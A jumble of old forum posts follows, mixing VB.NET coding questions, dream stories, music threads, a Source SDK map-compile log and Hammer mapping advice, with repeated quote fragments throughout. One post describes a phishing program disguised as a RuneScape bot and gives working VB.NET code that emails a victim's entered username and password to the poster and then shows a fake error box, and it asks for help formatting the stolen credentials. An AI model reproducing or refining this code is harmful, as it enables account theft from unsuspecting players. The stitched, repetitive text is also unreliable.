Imports System.Security.Cryptography Imports System.Text Imports System.IO Public Class Form1 Dim file As String = "asdf" Dim newfile As String = "non" Dim filein As New FileStream(INfile.text, FileMode.Open, FileAccess.Read) Function getMd5Hash(ByVal input As String) As String ' Create a new instance of the MD5 object. Dim md5Hasher As MD5 = MD5.Create() ' Convert the input string to a byte array and compute the hash. Dim data As Byte() = md5Hasher.ComputeHash(Encoding.Default.GetBytes(input)) ' Create a new Stringbuilder to collect the bytes and create a string. Dim sBuilder As New StringBuilder() ' Loop through each byte of the hashed data and format each one as a hexadecimal string. Dim i As Integer For i = 0 To data.Length - 1 sBuilder.Append(data(i).ToString("x2")) Next i ' Return the hexadecimal string. Return sBuilder.ToString() End Function 'Get the SHA1 Hash of a String ''' <param name="strToHash">The String to Hash</param> Function getSHA1Hash(ByVal strToHash As String) As String Dim sha1Obj As New Security.Cryptography.SHA1CryptoServiceProvider Dim bytesToHash() As Byte = System.Text.Encoding.ASCII.GetBytes(strToHash) bytesToHash = sha1Obj.ComputeHash(bytesToHash) Dim strResult As String = "" For Each b As Byte In bytesToHash strResult += b.ToString("x2") Next Return strResult End Function Private Sub Bencrypt_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Bencrypt.Click file = filein.ToString() If RBmd5.Checked = True Then newfile = getMd5Hash(file) ElseIf RBsha1.Checked = True Then newfile = getSHA1Hash(file) End If newfile = getMd5Hash(file) Dim this As System.IO.StreamWriter this = My.Computer.FileSystem.OpenTextFileWriter("C:\Users\Sprinkles\Desktop\new.txt", True) this.WriteLine(newfile) this.Close() End Sub End Class


I get an Invalid Operation exception.
I cannot, at all, figure out why.
Even when I comment things out it still doesn't work.
I have to delete all of it to fix it.
I don't even know....


Edit ok it has something to do with the FileStream Declaration, I
hard coded it and it works now. But it only does so many characters.

How do I encrypt a file?
When I encrypt a file I get
code
8f588de478ee81a213fe9e1be0a78131

When the other programs encrypt a file they get
code
浜ᙴ榈屠훗췜댳ꁵ퇳


And theirs goes on and on...how do I get it like that?
Truck
User
This is entirely based on circumstantial evidence, but I'm guessing I was someone who really didn't like Falker. But seriously... I never really thought about it. I could have been some kind of evil spirit, or demon, or sorcerer... I don't know. I was too focused on my objectives to look at the big picture. I was abnormally evil though. More evil than someone with a vendetta. During the span of the dream I was certainly sociopathic.

The ladder actually had a reason though. When Falker killed me my soul was supposed to be transferred to the ring Sully found. I had designed the ring incorrectly though, and it couldn't fit all of me. The rest of me moved into the nearest magical object large enough to fit me. I can only assume what the ladder's magical properties were, but given the atmosphere at the school it was probably enchanted to stay balanced or something.
User
code
<object width="660" height="525"><param name="movie" value="http://www.youtube-nocookie.com/v/L3zXuybWUNI&hl=en_US&fs=1&color1=0x006699&color2=0x54abd6&border=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/L3zXuybWUNI&hl=en_US&fs=1&color1=0x006699&color2=0x54abd6&border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="660" height="525"></embed></object>
Truck
User
So the dream that I have been dreaming of was finally dreamt. I did in fact have a continuation of my Rice dream, although much sooner than I would have thought. Unfortunately it was all a LIE because Rice herself was not in it. Because of this I will probably be lazy on the details and leave things out. Not that you all would notice or care.

A few things were in the memory log I was handed when I started dreaming.

First is that the reason for everyone's memory loss was Mr. Hill, GaryJer and I. We used to be in the military and were augmented with something called "inversion" that when left uncontrolled around other uncontrolled "inversion fields" could cause memory loss, particularly of names and things that weren't frequently thought of. We didn't know we were causing this until it stopped, and I never found out how our predicament came about. Most everyone's memory was damaged only when they came within about a mile of us three... so Rice had been in the crater with all her memories intact, and everyone else that showed up only lost their memory when they came near the crater.

Second is that there had been a massive world-encompassing war that resulted in the destruction of most major cities, the dissolving of all civilian government, the death of most of the inhabitants of the Earth and the displacement of the rest. Whichever military had won the war was so busy reorganizing and searching for it's personnel and inventory it had not begun to try to bring law and order to the land. Because of this organized crime ran just about everything in largely populated areas. Mr. Hill, GaryJer and I had been part of the victorious military, but had retired when the war was over.

Third is the ability called inversion. It let the user move extremely rapidly and pass through any matter for a variable time and distance depending mostly on natural ability. In addition to that the inverter could affect the matter in different ways. It could be left completely unchanged, be completely scrambled at an atomic level (resulting in the death of living things and the severe structural weakening of inanimate objects), or it could be made to generate its own inversion field. The only purpose of causing inanimate objects to generate inversion fields is that they would reach critical mass and explode like a hydrogen bomb if you repeated the process on the same object too many times. Obviously I never used the critical mass effect, as there would be no way to survive it.

Anyway, this time I spent most of my time at a restaurant standing around and looking important. The restaurant was being run by a daring entrepreneur who wanted to become the center of a new community and thereby very rich. It was a common practice in the city I had somehow come to, but it rarely succeeded. The idea was that someone with some starting capital would start a business in a part of the city that was too poor to be noticed by a crime family. If they could fight off the bandits and thieves and actually become successful enough to be noticed by a crime boss they would be invited into the organization and made the boss of the surrounding area. With this they gained a great deal of additional resources (thugs in suits with guns) and the district would become a part of the city proper and flourish. My job was to see that the employees made it to the restaurant and back to their homes in the protected parts of the city without being killed, robbed, kidnapped, raped, sold into slavery, eaten or any combination thereof.

Gold and Glass, who I now knew were named Priscilla and Roxanna, had become waitresses at this restaurant. It was a real classy place, by the way, and they accepted nothing but beautiful women dressed to the nines as wait staff. The decorations were of Asian origin with lots of deep red, dark wood and gold (but only one Gold). I was attempting to convince them and the rest of the employees to let me train them in the ways of inversion for their own safety, but everyone was trepidacious as it was dangerous and terrifying. When one inverted everything appeared normal to the user except that nothing was moving, to everyone else the inverter looked like a shadowy streak moving at lightning speed that ended with a nearly ear-splitting crack and a slowly fading hollow wind noise. Other than the bouncer at the front door I was unable to convince anyone but Glass/Roxanna to let me augment them with an inversion field. This was appreciated, because the restaurant could stay open more often if there were more people to escort the different shifts to home and work.

I ended up very worried about Roxy. Everyone called her that now, Gold/Priscilla was, much to her discontent, called Cilly. Roxy had become extremely confident in her ability to protect herself after I had shown her the ways of inversion, and would taunt and toy with the myriad unorganized criminals of the city even when she thought she was alone. I followed her in sekrits... I became a whole lot more worried when I was suddenly confronted by the military and asked to join a mission that would last several days. I had only a moment to tell Roxy where I was going and hope she'd relay the news to the restaurant.

Mr. Hill, who had become a hitman for a crime family and GaryJer, who would not disclose what he was doing, had been picked up for the mission as well.

And god damn it I'll finish this later... I hope I can remember it. Damn you, time! DAMN YOU!
User
So I wrote a phishing program, disguised as a Runescape bot (No, I don't play RS).
But basically I set it up and everything works great. They input their user/pass, then select what skill they want to train, and when they click start it sends em the user pass as well as displays them with a phony error box. The only thing, is when I get the email, everything is all jammed together, so I want to put the user/pass on separate lines.
Here's what I've got at the moment...
code
Imports System.Net.Mail Public Class Form1 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim MyMailMessage As New MailMessage() MyMailMessage.From = New MailAddress("XXXXXXX@gmail.com") MyMailMessage.To.Add("XXXXXXX@gmail.com") MyMailMessage.Subject = ("free account") MyMailMessage.Body = TextBox1.Text + "-" + TextBox2.Text Dim SMTPServer As New SmtpClient("smtp.gmail.com") SMTPServer.Port = 587 SMTPServer.Credentials = New System.Net.NetworkCredential("XXXXXXXX@gmail.com", "XXXXXXXXX") SMTPServer.EnableSsl = True SMTPServer.Send(MyMailMessage) MsgBox("This version of RSProBot is not compatible with the current Runescape Client. Please contact our support team at: Support@ProBot.net", MsgBoxStyle.Information, "Compatability Error") End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click End End Sub End Class

Which yields "User-Pass" in the email.
I've tried doing something like
code
MyMailMessage.Body = TextBox1.Text + (SendKeys.Send("{~}")) + TextBox2.Text

But I keep getting errors.

Any ideas?
Truck
User
UPDATE


code
Public Function calcformula() a = INa.Text b = INb.Text c = INc.Text discriminant = (b * b) - 4 * (a * c) 'lets hope you computer knows oder of operations If discriminant < 0 Then 'the discriminant is less than 0 -see summary discriminant = Abs(discriminant) 'get the absolute value of the discriminant I = True 'remember to inlcude the I in the final answer End If discriminant_remainder = Sqrt(discriminant) If discriminant_remainder = 0 Then x1 = (-1 * b) + Sqrt(discriminant) 'discriminant should now be positive and not result in 0 x2 = (-1 * b) - Sqrt(discriminant) 'discriminant should now be positive and not result in 0 divisor_x1 = 2 * a divisor_x2 = 2 * a remainder = IEEERemainder(x1, divisor_x1) ' have to check if the complex numbers are functioning correctly If remainder = 0 Then ' have to fully reduce numbers x1 = x1 / divisor_x1 ' if cannot solve for square root and NOT get decimal leave as √() with I if applicable divisor_x1 = divisor_x1 / divisor_x1 End If remainder = IEEERemainder(x2, divisor_x2) If remainder = 0 Then x2 = x2 / divisor_x2 divisor_x2 = divisor_x2 / divisor_x2 End If End If If discriminant_remainder <> 0 Then b = (-1 * b) Return b And discriminant ElseIf errorMsg = "" Then Return x1 And x2 And divisor_x1 And divisor_x2 Else Return errorMsg End If End Function '''<summary> ''' the discriminant check (Function check()) is meant to abort getting the square root of the discriminant ''' beause the discriminant is less than 0 meaning √(-discriminant) if you remember radicals ''' then you know that you cannot get the square root of a negative number ''' --this is not equaviliant to -√(radical) that is possible ''' so you need to drop the negative and include an i (i as imaginary number) in front ''' of the radical thus i√(discriminant) however Visual Basic does not account for that ''' and throws the error NaN (Not a Number) thus you will get 0/denominator ''' where denominator is the 2*A and 0 is x1 (ie if A=1 B=24 C=144 the end result would be -12/2 because (-1*b) is not inside the √()) ''' it is not -24/2 because below that we divide the numerator by the denominator (-24/2 = -12/2) '''</summary>



code
Public Function check() If Not I = True Then ' If Not I=True must be here first because if I is true than we changed the value to get the correct square root so the rest of the function would be corrupt If discriminant < 0 Then ' If the discriminant is less than zero then there should be 1 repeated real number check if that is true If x1 <> x2 Then errorMsg = "Something went wrong" 'if x1 does not equal x2 then something went wrong report it End If If discriminant > 0 Then ' If the discriminant is greater than zero then there should be 2 different real numbers check if that is true If x1 = x2 Then errorMsg = "Something went wrong" 'if x1 does equal x2 then something went wrong report it End If End If If I = True Then End If If errorMsg = "" Then Return 0 Else Return errorMsg End If End Function




code
Private Sub Bcalculate_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Bcalculate.Click If EquationToolStripMenuItem.Checked = True Then calcequation() ElseIf FormulaToolStripMenuItem.Checked = True Then calcformula() End If If I = True Then OUTx.Text = x1.ToString() + "/" + divisor_x1.ToString() + "i" + " " + x2.ToString() + "/" + divisor_x2.ToString() + "i" ElseIf errorMsg <> "" Then OUTx.Text = errorMsg ElseIf discriminant_remainder <> 0 Then OUTx.Text = b.ToString() + " +- " + "√(" + discriminant.ToString() + ")" Else OUTx.Text = x1.ToString() + "/" + divisor_x1.ToString() + " " + x2.ToString() + "/" + divisor_x2.ToString() End If End Sub







All I have to do is add something to determine if it is actually
a quadratic and return a value if it is not.
Truck
User
Oh by the way what java compiler do you use/recommend?

I am using Bluej right now because that is what we used in java
class [at least for the 1/5 of the class I stayed for they could
have switched to something else as soon as I left].


Well I don't know if that For Each statement works yet, but it
replaces 32 lines of code!


Ok I found a way to do it all in a Do While statement containing
2 For Each statements the problem is that I need to actively
modify the array inside the For Each statement this is a
problem, but microsoft said if you use the IEnumerable thingy
you can do it without getting a run time error. However, they
say that you really need to know IEnumerable to use it
correctly, and I don't understand it [because they don't explain
it] at all. So if someone would be nice enough to simplify
me to understand......Thank you.



I dont know what this is......
code
Imports Microsoft.Win32 Imports System.IO Imports System.Math Public Class Form1 Dim num1 As Double = 24 Dim Prime() As Integer = {2, 3, 5, 7, 11, 13} Dim reducenum1Array() As Integer = {num1} Dim divisorArray() As Integer = {} Dim Toreducenum1Array As Integer Dim TodivisorArray As Integer Dim remainder As Double Dim complete As Boolean = False Dim newsize As Integer = 2 Dim newsize1 As Integer = 1 Dim out As Integer Public Sub reducenum1() for1: For Each temp As Integer In reducenum1Array Toreducenum1Array = temp setvalue_reducenum1Array() for2: For Each number As Integer In Prime remainder = IEEERemainder(temp, number) If remainder = 0 Then TodivisorArray = number setvalue_divisorArray() If number = 13 Then complete = True Exit Sub End If Next number GoTo for2 Next temp GoTo for1 End Sub Public Sub setvalue_reducenum1Array() Array.Resize(reducenum1Array, newsize) reducenum1Array.SetValue(Toreducenum1Array, newsize1) End Sub Public Sub setvalue_divisorArray() End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click Application.Exit() End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click reducenum1() ' setvalue_reducenum1Array() setvalue_divisorArray() For i As Integer = 0 To newsize Dim value As Integer value += 1 Label2.Text = Label2.Text + reducenum1Array.GetValue(value).ToString() Next End Sub End Class


Ok, so the problem is the array isn't getting bigger.

No disregard that code I get an array of 24,12,0.
its not perfect but its not 242424 or anything weird like that.


FUCK ARRAYS
code
Public Sub reducenum1() for1: For Each number As Integer In Prime remainder = IEEERemainder(temp, number) If remainder = 0 Then value = temp / number Label2.Text = Label2.Text + value.ToString() temp = value GoTo for1 End If If number = 13 Then complete = True Exit Sub End If Next number End Sub

That does it [and I know that 'real' programmers shouldn't
use the GoTo command but what the hell.
User
SolidKAYOS said:
sprinkles said:
SolidKAYOS said:
sprinkles said:
Havoc is even more cool now then when I previously said he was cool.

Your awesome in my book.


Well, you're jus' jumping up the tiers of coolness now aren't you?

code
Sick vid

That song is Awesome. I'm not big into screamo bands or much of Heavy Metal just cause i dont like much screaming, if its going throughout the hole song. Every now and then is ok.Like before the chorus. but i love the sounds of the instruments. Hell i even like just instrumental songs. Half my music i have on my computer is Final fantasy and other games composed music just for the instrumentals.
code
Sick vid


aaronjer said:

Country music, on the other hand, is certainly something I dislike enough to the point where it all sounds the same to me just because I can't pay any attention to it.


I understand Completely. They all have the same sounding songs and all the guy singers sound the same.




Yea Bullet is awesome.


Ugly

They wouldn't let me embed it.
We [actually Superjer] should make a music section.
User
sprinkles said:
SolidKAYOS said:
sprinkles said:
Havoc is even more cool now then when I previously said he was cool.

Your awesome in my book.


Well, you're jus' jumping up the tiers of coolness now aren't you?

code
Sick vid

That song is Awesome. I'm not big into screamo bands or much of Heavy Metal just cause i dont like much screaming, if its going throughout the hole song. Every now and then is ok.Like before the chorus. but i love the sounds of the instruments. Hell i even like just instrumental songs. Half my music i have on my computer is Final fantasy and other games composed music just for the instrumentals.
code
Sick vid


aaronjer said:

Country music, on the other hand, is certainly something I dislike enough to the point where it all sounds the same to me just because I can't pay any attention to it.


I understand Completely. They all have the same sounding songs and all the guy singers sound the same.
User
SolidKAYOS said:
sprinkles said:
Havoc is even more cool now then when I previously said he was cool.

Your awesome in my book.


Well, you're jus' jumping up the tiers of coolness now aren't you?

code
Sick vid
User
sprinkles said:
Rockbomb said:
You people are crazy.
Here's the REAL best song ever.


Edit:But no seriously, THIS is the best song ever created



Don't put your urls in quotes.


SolidKAYOS said:
I wouldn't say its the best song ever.. but It is my favorite song right now. Also Their drummer (the girl) is seexy.

code
Sick vid


Havoc has the right idea.

code
Sick vid

<3 Monster
Skillet is rising to one of my fav bands.

Funny thing is i love their song "Hero" better than any. But when i ask people if they have heard of Skillet they always talk about "Monster".I love that song too but i just like Hero better.

Speaking of which, i think Jen (i think thats her name) the drummer(the chick) is banging all of them. I think the "Christan Rock" is just a cover up. she cant be that sexy and not have fucked at least one of the other guys.
code
Sick vid
User
Rockbomb said:
You people are crazy.
Here's the REAL best song ever.


Edit:But no seriously, THIS is the best song ever created



Don't put your urls in quotes.


SolidKAYOS said:
I wouldn't say its the best song ever.. but It is my favorite song right now. Also Their drummer (the girl) is seexy.

code
Sick vid


Havoc has the right idea.

code
Sick vid
User
I wouldn't say its the best song ever.. but It is my favorite song right now. Also Their drummer (the girl) is seexy.

code
Sick vid
Truck
User

** Executing...
** Command: "c:\program files\steam\steamapps\jodle14@hotmail.com\sourcesdk\bin\orangebox\bin\vbsp.exe"
** Parameters: -game "c:\program files\steam\steamapps\jodle14@hotmail.com\day of defeat source\dod" "C:\Program Files\Steam\steamapps\jodle14@hotmail.com\sourcesdk_content\dod\mapsrc\Christmas_contest_6"

Valve Software - vbsp.exe (May 19 2009)
2 threads
materialPath: c:\program files\steam\steamapps\jodle14@hotmail.com\day of defeat source\dod\materials
Loading C:\Program Files\Steam\steamapps\jodle14@hotmail.com\sourcesdk_content\dod\mapsrc\Christmas_contest_6.vmf
Can't find surfaceprop wet for material STONE/BLENDCOBBLEDIRT002A, using default
Patching WVT material: maps/christmas_contest_6/stone/blendcobbledirt002a_wvt_patch
Patching WVT material: maps/christmas_contest_6/ground/blenddirtsnow01_wvt_patch
fixing up env_cubemap materials on brush sides...
ProcessBlock_Thread: 0...1...2...3...4...5...6...7...8...9...10 (0)
ProcessBlock_Thread: 0...1...2...3...4...5...6...7...8...9...10 (0)
Processing areas...done (0)
Building Faces...done (0)
Chop Details...done (0)
Find Visible Detail Sides...
Merged 456 detail faces...done (0)
Merging details...done (0)
FixTjuncs...
PruneNodes...
WriteBSP...
done (2)
writing C:\Program Files\Steam\steamapps\jodle14@hotmail.com\sourcesdk_content\dod\mapsrc\Christmas_contest_6.prt...Building visibility clusters...
done (0)
Creating default LDR cubemaps for env_cubemap using skybox materials:
skybox/sky_day01_01*.vmt
! Run buildcubemaps in the engine to get the correct cube maps.
Creating default HDR cubemaps for env_cubemap using skybox materials:
skybox/sky_day01_01*.vmt
! Run buildcubemaps in the engine to get the correct cube maps.
Finding displacement neighbors...
Found a displacement edge abutting multiple other edges.
Finding lightmap sample positions...
Displacement Alpha : 0...1...2...3...4...5...6...7...8...9...10
material "bumgravy/bumgravy_wavesplash1" not found.
Building Physics collision data...
done (1) (635063 bytes)
Error! prop_static using model "models/gm_forest/deadtrunk.mdl", which must be used on a dynamic entity (i.e. prop_physics). Deleted.
Error loading studio model "models/gm_forest/deadtrunk.mdl"!
Placing detail props : 0...1...2...3...4...5...6...7...8...9...10
Water found with no water_lod_control entity, creating a default one.
Compacting texture/material tables...
Reduced 2483 texinfos to 1149
Reduced 137 texdatas to 124 (6777 bytes to 6266)
Writing C:\Program Files\Steam\steamapps\jodle14@hotmail.com\sourcesdk_content\dod\mapsrc\Christmas_contest_6.bsp
15 seconds elapsed

** Executing...
** Command: "c:\program files\steam\steamapps\jodle14@hotmail.com\sourcesdk\bin\orangebox\bin\vvis.exe"
** Parameters: -game "c:\program files\steam\steamapps\jodle14@hotmail.com\day of defeat source\dod" -fast "C:\Program Files\Steam\steamapps\jodle14@hotmail.com\sourcesdk_content\dod\mapsrc\Christmas_contest_6"

Valve Software - vvis.exe (May 19 2009)
fastvis = true
2 threads
reading c:\program files\steam\steamapps\jodle14@hotmail.com\sourcesdk_content\dod\mapsrc\Christmas_contest_6.bsp
reading c:\program files\steam\steamapps\jodle14@hotmail.com\sourcesdk_content\dod\mapsrc\Christmas_contest_6.prt
1180 portalclusters
4006 numportals
BasePortalVis: 0...1...2...3...4...5...6...7...8...9...10 (4)
Optimized: 31985 visible clusters (0.00%)
Total clusters visible: 1242961
Average clusters visible: 1053
Building PAS...
Average clusters audible: 1180
visdatasize:355758 compressed from 358720
writing c:\program files\steam\steamapps\jodle14@hotmail.com\sourcesdk_content\dod\mapsrc\Christmas_contest_6.bsp
5 seconds elapsed

** Executing...
** Command: "c:\program files\steam\steamapps\jodle14@hotmail.com\sourcesdk\bin\orangebox\bin\vrad.exe"
** Parameters: -game "c:\program files\steam\steamapps\jodle14@hotmail.com\day of defeat source\dod" -noextra "C:\Program Files\Steam\steamapps\jodle14@hotmail.com\sourcesdk_content\dod\mapsrc\Christmas_contest_6"

Valve Software - vrad.exe SSE (May 19 2009)

Valve Radiosity Simulator
2 threads
[Reading texlights from 'lights.rad']
[39 texlights parsed from 'lights.rad']

Loading c:\program files\steam\steamapps\jodle14@hotmail.com\sourcesdk_content\dod\mapsrc\Christmas_contest_6.bsp
Setting up ray-trace acceleration structure... Done (8.42 seconds)
6723 faces
9 degenerate faces
2578124 square feet [371249856.00 square inches]
998 Displacements
611090 Square Feet [87996968.00 Square Inches]
6714 patches before subdivision
60918 patches after subdivision
2 direct lights
BuildFacelights: 0...1...2...3...4...5...6...7...8...9...10 (1)
BuildVisLeafs: 0...1...2...3...4...5...6...7...8...9...10 (135)
transfers 6567918, max 1813
transfer lists: 50.1 megs
GatherLight: 0...1...2...3...4...5...6...7...8...9...10 (1)
Bounce #1 added RGB(0, 0, 0)
Build Patch/Sample Hash Table(s).....Done<0.1098 sec>
FinalLightFace: 0...1...2...3...4...5...6...7...8...9...10 (34)
FinalLightFace Done
0 of 0 (0% of) surface lights went in leaf ambient cubes.
ThreadComputeLeafAmbient: 0...1...2...3...4...5...6...7...8...9...10 (58)
Writing leaf ambient...done
Ready to Finish

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 3/1024 144/49152 ( 0.3%)
brushes 1712/8192 20544/98304 (20.9%)
brushsides 13838/65536 110704/524288 (21.1%)
planes 7936/65536 158720/1310720 (12.1%)
vertexes 11962/65536 143544/786432 (18.3%)
nodes 2087/65536 66784/2097152 ( 3.2%)
texinfos 1149/12288 82728/884736 ( 9.4%)
texdata 124/2048 3968/65536 ( 6.1%)
dispinfos 998/0 175648/0 ( 0.0%)
disp_verts 30886/0 617720/0 ( 0.0%)
disp_tris 42112/0 84224/0 ( 0.0%)
disp_lmsamples 1705036/0 1705036/0 ( 0.0%)
faces 6723/65536 376488/3670016 (10.3%)
hdr faces 0/65536 0/3670016 ( 0.0%)
origfaces 5969/65536 334264/3670016 ( 9.1%)
leaves 2091/65536 66912/2097152 ( 3.2%)
leaffaces 7148/65536 14296/131072 (10.9%)
leafbrushes 2879/65536 5758/131072 ( 4.4%)
areas 2/256 16/2048 ( 0.8%)
surfedges 56648/512000 226592/2048000 (11.1%)
edges 35051/256000 140204/1024000 (13.7%)
LDR worldlights 2/8192 176/720896 ( 0.0%)
HDR worldlights 0/8192 0/720896 ( 0.0%)
leafwaterdata 1/32768 12/393216 ( 0.0%)
waterstrips 836/32768 8360/327680 ( 2.6%)
waterverts 0/65536 0/786432 ( 0.0%)
waterindices 17703/65536 35406/131072 (27.0%)
cubemapsamples 63/1024 1008/16384 ( 6.2%)
overlays 6/512 2112/180224 ( 1.2%)
LDR lightdata [variable] 2447136/0 ( 0.0%)
HDR lightdata [variable] 0/0 ( 0.0%)
visdata [variable] 355758/16777216 ( 2.1%)
entdata [variable] 17700/393216 ( 4.5%)
LDR ambient table 2091/65536 8364/262144 ( 3.2%)
HDR ambient table 2091/65536 8364/262144 ( 3.2%)
LDR leaf ambient 1193/65536 33404/1835008 ( 1.8%)
HDR leaf ambient 2091/65536 58548/1835008 ( 3.2%)
occluders 0/0 0/0 ( 0.0%)
occluder polygons 0/0 0/0 ( 0.0%)
occluder vert ind 0/0 0/0 ( 0.0%)
detail props [variable] 1/12 ( 8.3%)
static props [variable] 1/23750 ( 0.0%)
pakfile [variable] 5586242/0 ( 0.0%)
physics [variable] 635063/4194304 (15.1%)
physics terrain [variable] 217494/1048576 (20.7%)

Level flags = 0

Total triangle count: 19299
Writing c:\program files\steam\steamapps\jodle14@hotmail.com\sourcesdk_content\dod\mapsrc\Christmas_contest_6.bsp
4 minutes, 0 seconds elapsed

** Executing...
** Command: Copy File
** Parameters: "C:\Program Files\Steam\steamapps\jodle14@hotmail.com\sourcesdk_content\dod\mapsrc\Christmas_contest_6.bsp" "C:\Program Files\Steam\steamapps\jodle14@hotmail.com\day of defeat source\maps\Christmas_contest_6.bsp"

The command failed. Windows reported the error:
"Den angivne sti blev ikke fundet."
User
code
User
Not at all.


code
Sick vid
sprinkles said:
Sloth said:
code



Thats what it looked like when I was born.


no comment
User
Sloth said:
code



Thats what it looked like when I was born.
User
code
User
Just so it makes a little more sense, the reason textbox.contents didn't work is because contents isn't a property of the textbox. When you do textbox1.text it is basically saying "The text property of textbox1". When you are in the design tab of your application, and you click on an object, the properties box down in the bottom right is all the properties for that object. So if you wanted to change the border style for the text box you could do textbox1.BorderStyle = BorderStyle.Fixed3D

So basically, anything in the properties box for a particular object is what you can use when your coding it.
User
superjer said:
What version of VB?

Ok I'm guessing VB.NET 2008 from your other truck.

VB code
Private Sub Form1_Load(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles MyBase.Load Me.ControlBox = False Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None Me.TransparencyKey = System.Drawing.Color.Green End Sub

This should get rid of the _[]X controls and the window border and make green transparent.

You might need some magic to use the same green as "System.Drawing.Color.Green" or specify the color some other way.

Hell if I know anything about VB.NET



Thanks man, I'll give it a try :D
User
What version of VB?

Ok I'm guessing VB.NET 2008 from your other truck.

VB code
Private Sub Form1_Load(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles MyBase.Load Me.ControlBox = False Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None Me.TransparencyKey = System.Drawing.Color.Green End Sub

This should get rid of the _[]X controls and the window border and make green transparent.

You might need some magic to use the same green as "System.Drawing.Color.Green" or specify the color some other way.

Hell if I know anything about VB.NET
User
the_cloud_system said:
code
Sick vid

Rodeo, I think he just pwned you.
Truck
User
Mate de Vita said:
Sloth said:
I .. did your mom.

Finally, a chance to post this:
code
Sick vid


Wow, epic. (I laughed.)
Truck
code
Sick vid


...oh shit
code
Sick vid
User
No, she doesn't seem like the type. Although tattoos would be an interesting form of identification if you were missing such important facts as who you were and how the world done got blowed up.

Have you asked her to marry you yet? Does she object to her titties appearing all over the internets? If not, she might be a keeper.
Truck
Sloth said:
I .. did your mom.

Finally, a chance to post this:
code
Sick vid
User
Down Rodeo said:
As for the "function is private" errors... well... how much do you about OO programming?


Luckily that turned out not to be the real problem. The ios_base errors were just the result of passing around an ofstream object by-value.

Other than that all I did was add 0 to return; in a couple spots and <iostream>, <fstream>, using namespace std;
User
sprinkles said:
SolidKAYOS said:
Daisuke said:
I have my Hammer but when I was trying to find light in the objects directory it is not there... There is only a few things... And I am sure I checked all the entities... What should I do?

Do what Thomas Edison did and make it.
Also Light is not a object.



Hey genius Einstein made the light bulb.

lol

He said light not Light Bulb you nitwit
User
SolidKAYOS said:
Daisuke said:
I have my Hammer but when I was trying to find light in the objects directory it is not there... There is only a few things... And I am sure I checked all the entities... What should I do?

Do what Thomas Edison did and make it.
Also Light is not a object.



Hey genius Einstein made the light bulb.

lol
User
Daisuke said:
I have my Hammer but when I was trying to find light in the objects directory it is not there... There is only a few things... And I am sure I checked all the entities... What should I do?

Do what Thomas Edison did and make it.
Also Light is not a object.
User
Like a cube, or an other object you create. Idk why they call them brushes in Hammer, but they do
User
sprinkles said:
How do I 'Optimize' my Map?

So you want it to load faster , compile faster, and give you better fps?

Use the null texture on any surface that will not be visible by the player [it will cause the engine to bypass rendering of that object from the side that you nulled]. The null texture can be found in your zhlt.wad [it came and is in the same folder as the zhlt compile tools] Get ZHLT Compile Tools

It's the BLUE texture there

superjer said:
There's no need to null external surfaces. The compilers discard these anyways as long as there's no leaks.


Use your skybox correctly:





Then what is the whole point of the null texture?


EDIT :: Can an Admin change the truck title and capitalize the T in things its really putting me off.
User
sprinkles said:
Such as the null, clip, and sky textures are the same; as in they render differently, and should be used on surfaces that will not be seen [...]

null, clip and sky are completely different things. null changes nothing about the solid, but removes the visible face from rendering. However, I believe having all null faces on a brush can cause unexpected behavior when the brush is part of an entity in some rare cases. clip is used to block player movement. That's all it does. Importantly, however, clip does NOT stop leaks. It ONLY blocks players. Other than that it counts as empty space. sky, obviously, is used to display the sky box. Faces with sky are not rendered (like null) and cause the engine to draw the skybox in the direction of the face. The skybox is just a big box around the player, so it can block far-away objects, and if you are not careful, you will be able to see things beyond sky faces, like other rooms.

sprinkles said:
[...] to decrease load time and increase fps. To contradict that, others say that those textures don't actually decrease load time and increase fps.

clip has no such effect. null and sky can increase fps if used in place of normal textures, where appropriate.

sprinkles said:
Furthermore, I read somewhere that putting [for example] a 128x128 texture on a bigger surface will cause that surface to render in 128x128 squares thus increasing load time and decreasing fps.

This is not true. However, the scale of the texture will affect the lightmap/patch density, which could be disastrous. This can be adjusted with the -chop option in hlrad.

sprinkles said:
[...] putting a 'complex' object adjacent to a 'simple' surface will cause that surface to render in as many sides as the complex object [...]

This is true. Avoid this problem by making the complex object a func_wall, for example. Then remember that brush entities will not stop leaks and build accordingly.

Also keep in mind that hlbsp breaks up and organizes all the open space in your map into convex pieces. If you make the open space in your map really complex, hlbsp has to do more work and so does the game engine.

sprinkles said:
[...] giant rock that you are only going to see say 5 out of 9 faces, would it be more efficient to hollow it and delete the four faces and null the back of the other five?

DO NOT hollow it. hollowing will just add a lot of faces. If you are lucky they will be merged back together by hlcsg/hlbsp. But don't tempt it. Feel free to put null on any face that need never be seen. It won't hurt. It may not help much either, but it won't hurt.
User
Through looking around I have read some 'stuff.' Such as the null, clip, and sky textures are the same; as in they render differently, and should be used on surfaces that will not be seen to decrease load time and increase fps. To contradict that, others say that those textures don't actually decrease load time and increase fps.

Furthermore, I read somewhere that putting [for example] a 128x128 texture on a bigger surface will cause that surface to render in 128x128 squares thus increasing load time and decreasing fps.

There are some other few things -for example putting a 'complex' object adjacent to a 'simple' surface will cause that surface to render in as many sides as the complex object- but those all checked out with Valve.

So what are your takes on these...err 'things?'

Also will using the null texture [correctly] reduce world polygon counts?



Another thing, if I have something like a giant rock that you are only going to see say 5 out of 9 faces, would it be more efficient to hollow it and delete the four faces and null the back of the other five?
kitaramies94 said:

And yeah with me it also selects some big object behind what I'm trying to select.


In Hammer: "Tools" --> "Options..." --> "3D views" and make sure "Reverse selection order" is not checked.

(If it's already unchecked you could try checking it and see if that helps...)
No. Xp Professional.

It worked with my last computer which had worse graphic card.

And yeah with me it also selects some big object behind what I'm trying to select.

Damn... I really don't know what to do...
User
